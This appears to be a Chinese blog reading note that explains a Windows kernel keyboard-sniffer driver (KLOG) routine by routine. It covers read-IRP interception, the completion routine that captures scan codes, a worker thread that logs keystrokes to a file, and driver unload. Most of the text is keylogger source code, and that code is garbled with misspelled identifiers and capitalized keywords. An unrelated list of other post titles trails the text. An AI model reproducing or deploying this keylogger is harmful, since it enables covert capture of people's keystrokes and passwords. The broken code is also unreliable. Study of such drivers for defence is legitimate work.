为处理READ请求而调用的例程是DispatchRead。下面具体分析该函数:

NTSTAUS DispatchRead ( IN PDEVICE_OBJECT pDeviceObject, IN PIRPpIrp)

{

当一个READ请求到达键盘控制器时,就调用该函数。这时IRP中并没有可用的数据。相反我们希望在捕获了击键动作之后查看IRP——当IRP正在沿着设备链向上传输时。

关于IRP已经完成的唯一通知方式是设置完成例程,如果没有设置完成例程,则当IRP沿着设备链上返回是会忽略我们的存在。

将IRP传递给链中次底层设备时,需要设置IRP堆栈指针(stack pointer).术语堆栈在此处容易产生误解:每个设备只是在每个IRP中有一段私有的可用内存。这些私有区域以指定顺序排列。通过IoGetCurrentIrpStackLocation和IoGetNextIrpStackLocation调用来获取这些私有区域的指针,在传递IRP之前,一个“当前”指针必须指向低层驱动程序的私有区域,因此,在调用IoCallDriver之前要调用IoCopyCurrentIrpStackLocationToNext;

// Copy parameters down to next level in the stack

// for the driver below us

IoCopyCurrentIrpStackLocationToNext(pIrp);

// Note that the completion routine is named “OnReadCompleion”:

// Set the completion callback

IoSetCompletionRoutine(pIrp,

OnReadCompletion,

pDeviceObject,

TRUE,

TRUE,

TRUE);

将挂起的IRP数目记录下来,以便等处理完成后再卸载驱动程序

// Track the # of pending IRPs

numPendingIrps++;

最后通过IoCallDriver将IRP传递给链中的次底层设备,记住指向低层次设备的指针存储在Device_Extension中的pKeyboardDevice中。

// Pass the IRP on down to \the driver underneath us

Return IoCallDriver(

((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)

->pKeyboardDevice, pIrp);

}// end DispatchRead

现在可以看到,每个READIRP在处理之后可用于OnReadCompletion例程中。进一步对比加以分析:

NSTATUS OnReadCompletion ( IN PDEVICE_OBJECT pDeviceObject,

INPRP pIrp, IN PVOID Context)

{

// Get the device extension– we’ll need to use it later

PDEVICE_EXTENSIONpKeyboardDeviceExtension =(PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;

检查IRP状态,它可以当作返回码或错误码,该值为STATUS_SUCCESS表明IRP已成功完成并且应该记录了击键数据。SystemBuffer成员指向KEYBOARD_INPUT_DATA结构的数组。IoStatus.Information成员包含了该数组的长度:

If(pIrp->IoStatus.Status == STATUS_SUCCESS)

{

PKEYBOARD_INPUT_DATA keys =(PKEYBORAD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;

Int numKeys = pIrp->IoStatus.Information /sizeof(KEYBOARD_INPUT_DATA);

KEYBOARD_INPUT_DATA结构定义如下:

Typedef struct _KEYBOARD_INPUT_DATA{

USHORT UnitId;

USHORT MakeCode;

USHORT Flags;

USHORT Reserved;

ULONG ExtraInformation;

} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

然后示例程序循环遍历所有的数组成员,从每个成员中获取击键动作:

For(int I = 0; I < numkeys; i++)

{

DbgPrint(“ScanCode: %x\n”,keys[i].MakeCode);

注意会收到两个事件:键按下和键释放。对于简单的击键监视器来说,只需关注其中一个事件,KEY_MAKE是一个重要标志。

If(keys[i].Flags == KEY_MAKE)

DbgPrint(“%s\n”, “Key Down”)l

上述完成例程在IRQL级别DISPATCH_LEVEL上执行,这意味着它不允许文件操作,为了避开这个限制,示例程序通过一个共享链表将击键动作传递给worker线程。对该链表的访问必须采用关键段来同步。内核实施以下规则:一次只能有一个线程执行关键段。此处不能使用延迟过程调用(Deferred Procedure Call, DPC),因此DPC也运行在DISPATCH_LEVEL级别上。

驱动程序分配一些NonPagedPool内存,并将扫描码放入其中,然后将其置入链表中。因为运行在DISPATCH级别上,所以只能从NonPagedPool中分配内存。

KEY_DATA* kData =(KEY_DATA*)ExAllocatePool(NonPagedPool, sizeof(KEY_DATA));

// Fill in kData structure with info from IRP

kData->KeyData = (char)keys[i].MakeCode;

kData->KeyFlags=(char)keys[i].Flgas;

// Add the scan code to the linked list

// queue so our worker thread

// can write it out to a file

DbgPrint(“Adding IRP to work queue…”);

ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,&kData->ListEntry,

&pKeyboardDeviceExtension->lockQueue);

// The semaphore is incremented to indicate that some data needs tobe processed

// Increment the semaphore by 1 – no WaitForXXX after this call

KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,

0,

1,

FALSE);

}

}

If(pIrp->PendingReturned)

IoMarkIrpPending(pIrp);

示例完成了对IRP的处理,将IRP计数递减

numPendingIrps- -;

return pIrp->IoStatus.Status;

}

此时在链表中已保存了一个击键动作,它用于worker线程,下面介绍worker线程的例程:

VOID ThreadKeyLogger ( IN PVOID pContext)

{

PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext;

PDEVICE_OBJECTpKeyboardDeviceObject = pKeyboardDeviceExtension->pKeyboardDevice;

PLIST_ENTRY pListEntry;

KEY_DATA *kData; // custom data structure used to hold scancodes inthe linked list

KLOG进入一个处理循环。代码通过KeWaitForSingleObject等待信号量。若信号量递增,则处理循环继续运行

While(true)

{

// Wait for data to becomeavailable in the queue

KeWaitForSingleObject(

&pKeyboardDeviceExtension->semQueue,

Executive,

KernelMode,

FALSE,

NULL);

从链表中安全删除了最高端项。注意关键段的用法:

pListEntry = ExInterlockedRemoveHeadList(

&pKeyboardDeviceExtension->QueueListHead,

&pKeyboardDeviceEntension->lockQueue);

内核线程不能从外部终止,它们只能终止自身。KLOG检查一个标志以判断是否应该终止worker线程。该操作应该只放生在卸载KLOG时。

If(pKeyboardDeviceExtension->bThreadTerminate == true)

{

PsTerminateSystemThread(STATUS_SUCCESS);

}

必须使用CONTAINING_RECORD宏来获得指向pListEntry结构中数据的指针:

kData = CONTANING_RECORD(pListEntry, KEY_DATA, ListEntry);

KLOG获取扫描码并将其转换成键盘码。这通过ConvertScanCodeToKeyCode工具函数完成,该函数只识别美国英语键盘布局,尽管它很容易替换为适用于其他键盘布局的代码。

// Convert the scan code to a key code

Char keys[3] = {0};

ConvertScanCodeToKeyCode(pKeyboardDeviceExtension, kData, keys);

// Make sure the key has returned a valid code

// before writing it to the file

If (keys != 0)

{

若文件句柄是有效的,则使用ZwWriteFile将键盘盘码写入日志:

// Write the data out to a file

If(pKeyboardDeviceExtension->hLogFile != NULL)

{

IO_STATUS_BLOCK io_status;

NTSTATUS status =ZwWriteFile(

pKeyboardDeviceExtension->hLogFile,

NULL,

NULL,

NULL,

&io_status,

&keys,

Strlen(keys),

NULL,

NULL);

If(status != STATUS_SUCCESS)

DbgPrint(“Writing scancode to file…\n”);

Else

DbgPrint(“Scan code ‘%s’successfully written to file.\n”, keys);

}// end if

}// end if

}// end while

Return;

} // end ThreadLogKeyboard

以上是KLOG的主要操作。下面分析Unload例程

VOID Unload ( IN PDRIVER_OBJECT pDriverObject)

{

// Get the pointer to thedevice extension

PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;

DbgPrint(“Driver Unload Called… \n”);

驱动程序必须使用IoDetachDevice函数取下分层设备的钩子:

// Detach from the device underneath that we’re hooked to.

IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);

DbgPrint(“Keyboard hook detached from device…\n”);

下面使用了一个定时器,KLOG进入一个短循环,直到所有IRP完成处理:

// Create a timer

KTIMER kTimer;

LARGE_INTEGER timeout;

Timeout.QuadPart = 1000000;

KeInitializeTimer(&kTimer);

在某个IRP正在等待击键动作,则直到按下一个键后卸载才能完成:

While(numPendingIrps > 0)

{

// Set the timer

KeSetTimer(&kTimer, timeout,NULL);

KeWaitForSingleObject(

&kTimer,

Executive,

KernelMode,

False,

NULL);

}

此时KLOG指示worker线程应该终止:

// Set our key logger worker thread to terminate

pKeyboardDeviceExtension->bThreadTerminate = true;

// Wake up the thread if its blocked & WaitForXXX after thiscall

KeReleaseSemaphore(

&pKeyboardDeviceExtension->semQueue,

0,

1,

TRUE);

KLOG使用线程指针调用KeWaitForSingleObject, 一直等候到该线程已终止:

// Wait until the worker thread terminates

DbgPrint(“Waiting for key logger thread to terminate…\n”);

KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,

Executive,

KernelMode,

False,NULL);

DbgPrint(“Key logger thread terminated\n”);

最后关闭日志文件:

// close the log file

ZwClose(pKeyboardDeviceExtension->hLogFile);

还执行一些适当的常规清理动作:

// Delete the device

IoDeleteDevice(pDriverObject->DeviceObject);

DbgPrint(“Tagged IRPs dead … Terminating ...\n”);

Return;

}

键盘嗅探器结束。

读书笔记_键盘嗅探器(2)相关推荐

  1. 马丁福勒《UML精粹》读书笔记_第四章

    第四章 顺序图 顺序图是一个use case的一种实现.当考察单个use case内部若干对象的行为时,就应使用顺序图. 可参考"高焕堂<嵌入式UML设计>读书笔记_第五章&qu ...

  2. 马丁福勒《UML精粹》读书笔记_第一章

    马丁福勒<UML精粹>读书笔记_第一章 UML的使用场景 必须遵从UML规则吗? 在上述草图.蓝图的场景下,不必过多强调遵从UML规则.因为我们使用UML的目的是为了一个好的设计,所以应将 ...

  3. 读书笔记_中国期货市场量化交易(李尉)01

    读书笔记,李尉的作品,看豆瓣还行就买来看看 第一章 期货基本策略概要 国内平台:开发,回测,模拟,实盘均在一个平台实现较为方便,并且费用较低. 连续合约:跳空问题 指数合约:无法直接交易 淘宝策略:低 ...

  4. 5000字 大数据时代读书笔记_大数据时代读书笔记

    大数据时代读书笔记 [篇一:大数据时代读书笔记] 大数据时代 -- 读书笔记 一.引论 1. 大数据时代的三个转变: 1. 可以分析更多的数据,处理和某个现象相关的所有数据,而不是 随机采样 2. 不 ...

  5. 5000字 大数据时代读书笔记_《大数据时代读书笔记》

    大数据时代读书笔记 本书在讲些什么? <大数据时代>的一大贡献在于大数据方兴未艾.众说纷纭的时刻,进一步 阐述和厘清了大数据的基本概念和特点,这对许多以为大数据就是"数据大&qu ...

  6. 读书笔记_打开量化投资的黑箱01

    大约4年前(2015年左右),看过一些量化的入门书籍,那时是完全小白的,一窍不通的(当然,现在也不算牛,只能算比当时有进步吧).前阵子开发策略,开发的有点小心累,之前自以为很好的策略or思路,实践下来 ...

  7. 读书笔记_《纳瓦尔宝典》_精华部分书摘

    目录 简介 书摘 退休的定义 运气分四种 商业社交 判断力 关于痛苦 偏见和习惯 选择 迎难而上 对幸福的理解 欲望与幸福 应该 幸福源于好习惯 做自己 冥想+精神力量 WIM-HOF呼吸法 选择自我 ...

  8. 读书笔记_代码大全_第14章_组织直线型代码_第15章_使用条件语句

    组织直线型代码 + 使用条件语句 希望我的读书笔试能带你翻过18页的书 http://www.cnblogs.com/jerry19880126/ <代码大全>第14章和第15章的内容比较 ...

  9. python基础教程读书笔记_《Python基础教程》读书笔记10

    模块 使用 dir dir 函数可以将对象的所有属性(以及模块的所有函数.类.变量等)列出. >>> import copy >>> dir(copy) ['Err ...

最新文章

  1. 我的Android进阶之旅------Android嵌入图像InsetDrawable的用法
  2. oracle--表,用户,授权
  3. mdadm中文man帮助
  4. 在Jenkins远程链接Linux系统,然后执行shell命令-亲测可用【转】
  5. python语句示例_Python学习笔记之if语句的使用示例
  6. php soapclient 超时,PHP SoapClient超时
  7. linux系统镜像下载
  8. ce修改器我的世界服务器,ce修改器怎么修改金钱?ce修改器无限金钱图文教程
  9. OIF 4.0协议分析心得-1
  10. 盾神与砝码称重java_[蓝桥杯][算法提高VIP]盾神与砝码称重 (Java代码)
  11. mc 手游无限挑战服务器,盘点mc中可无限获得的东西(无BUG无mod)[多图]
  12. 多元函数微分学小结(2):从反函数定理到隐函数存在定理
  13. MATLAB实现自编码器(三)——堆栈自编码器Stacked Autoencoders实现手写数字分类
  14. 计算机技术变化太快,这世界变化太快!Ps修图进入“智能时代”!
  15. uniapp使用Vant ui
  16. iOS-计算两个日期之间的天数
  17. 阿里云主机Windows Server 2008系统应该怎样激活?
  18. 操作系统实验六:Linux下的C语言编程
  19. spring注解驱动开发-10 Servlet3.0
  20. UVALive - 3353 Optimal Bus Route Design(二分图最佳匹配)

热门文章

  1. Android问题:java.lang.UnsatisfiedLinkError: No implementation found for异常解决方法
  2. 在html中不是链接目标属性,在HTML 中,() 不是链接的目标属性。
  3. java matlab混合编程_java和matlab混合编程
  4. python输入姓名删除电话号码_pyhon基础之实例操作__个人名片管理系统,输入,查询,增加,删除等基本表的操作...
  5. 1m照片的宽和高是多少_1m是多少(上传1m照片是多大尺寸)
  6. 开源工作流引擎(含流程设计器)
  7. Python居然还能用来算命?不信?那我给你算一下!
  8. 用Runnable 方式和 继承 Thread方式实现火车站买票
  9. UI automator viewer 将MuMu模拟器识别为横屏的解决方法
  10. Pytorch深度学习实战教程(一):语义分割基础与环境搭建